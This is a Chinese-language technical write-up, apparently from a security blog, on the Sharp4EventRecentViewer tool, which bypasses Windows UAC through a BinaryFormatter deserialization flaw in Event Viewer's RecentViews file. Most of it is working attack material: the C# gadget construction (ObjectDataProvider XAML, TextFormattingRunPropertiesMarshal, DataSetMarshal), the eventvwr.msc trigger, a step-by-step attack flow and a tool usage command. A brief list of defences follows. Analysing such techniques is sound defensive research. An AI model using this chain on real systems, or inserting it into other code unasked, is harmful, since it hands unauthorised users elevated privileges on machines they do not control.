Sharp4EventRecentViewer:通过白名单文件反序列化漏洞绕过UAC
字数 1284 2025-08-22 12:23:11
Windows事件查看器反序列化漏洞UAC绕过技术分析
1. 漏洞背景与原理
1.1 Windows事件查看器机制
Windows事件查看器(Event Viewer)是系统管理工具,位于用户目录下的AppData\Local\Microsoft\Event Viewer。其中RecentViews文件是关键,它记录了用户最近查看的事件视图信息,采用二进制格式存储。
启动事件查看器的两种常见方式:
cmd /c eventvwr.msc
cmd /c eventvwr.exe
1.2 漏洞核心点
事件查看器启动时会加载EventViewer.dll,其中的LoadMostRecentViewsDataFromFile方法存在反序列化漏洞:
private void LoadMostRecentViewsDataFromFile()
{
try
{
if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
{
FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
lock (syncRoot)
{
EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
}
fileStream.Close();
}
}
catch (FileNotFoundException){}
}
关键问题:
- 使用不安全的
BinaryFormatter().Deserialize方法 - 未对反序列化内容进行验证
- 文件路径固定且可预测(
C:\Users\[用户名]\AppData\Local\Microsoft\Event Viewer\RecentViews)
2. 漏洞利用技术实现
2.1 动态编译启动进程
攻击代码首先生成一个可执行文件StartInSelectedDesktop.exe,核心功能是使用Windows API CreateProcess创建新进程:
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
int dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
ref PROCESS_INFORMATION lpProcessInformation);
2.2 对象序列化为XAML
利用ObjectDataProvider将进程启动参数序列化为XAML格式:
Process objectInstance = new Process { StartInfo = processStartInfo };
ObjectDataProvider obj = new ObjectDataProvider {
MethodName = "Start",
IsInitialLoadEnabled = false,
ObjectInstance = objectInstance
};
生成的XAML示例:
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="Default "cmd.exe""
StandardErrorEncoding="{x:Null}"
StandardOutputEncoding="{x:Null}"
UserName="" Password="{x:Null}" Domain=""
LoadUserProfile="False"
FileName="C:\Users\Ivan1ee\AppData\Local\Temp\StartInSelectedDesktop.exe"/>
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
2.3 BinaryFormatter序列化
利用TextFormattingRunPropertiesMarshal和DataSetMarshal类构造恶意负载:
TextFormattingRunPropertiesMarshal graph = new TextFormattingRunPropertiesMarshal(xaml);
using (MemoryStream memoryStream = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, graph);
byte[] bfPayload = memoryStream.ToArray();
DataSetMarshal graph2 = new DataSetMarshal(bfPayload);
memoryStream.Position = 0L;
binaryFormatter.Serialize(memoryStream, graph2);
result = memoryStream.ToArray();
}
2.4 白加黑绕过UAC
最终利用eventvwr.msc触发漏洞:
if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"",
IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null,
ref structure, ref process_INFORMATION))
3. 完整攻击流程
- 生成恶意
RecentViews文件并写入目标路径 - 构造包含命令执行的XAML数据
- 将XAML数据序列化为BinaryFormatter格式
- 通过
DataSetMarshal类包装payload - 触发事件查看器启动,自动加载恶意
RecentViews文件 - 反序列化漏洞触发,执行预设命令
- 绕过UAC启动高权限进程
4. 防御措施
- 禁用BinaryFormatter:在应用程序中禁用或替换不安全的反序列化方法
- 文件权限控制:限制对
RecentViews文件的写入权限 - UAC设置:保持UAC在最高级别
- 应用白名单:限制非授权应用程序执行
- 日志监控:监控事件查看器异常启动行为
- 补丁更新:及时安装微软安全更新
5. 工具使用示例
执行命令:
Sharp4EventRecentViewer.exe cmd.exe
工具会自动:
- 生成恶意载荷写入
RecentViews路径 - 模拟打开事件查看器
- 触发反序列化漏洞
- 启动新的CMD进程
6. 技术总结
该漏洞利用链结合了多个关键技术点:
- Windows事件查看器的固定文件路径特性
- .NET不安全的反序列化机制
- UAC绕过技术
- 白加黑攻击手法
这种攻击具有高度隐蔽性,因为:
- 利用了系统自带工具
- 无文件落地(payload存储在合法位置)
- 利用了系统正常功能流程
- 不需要额外权限提升步骤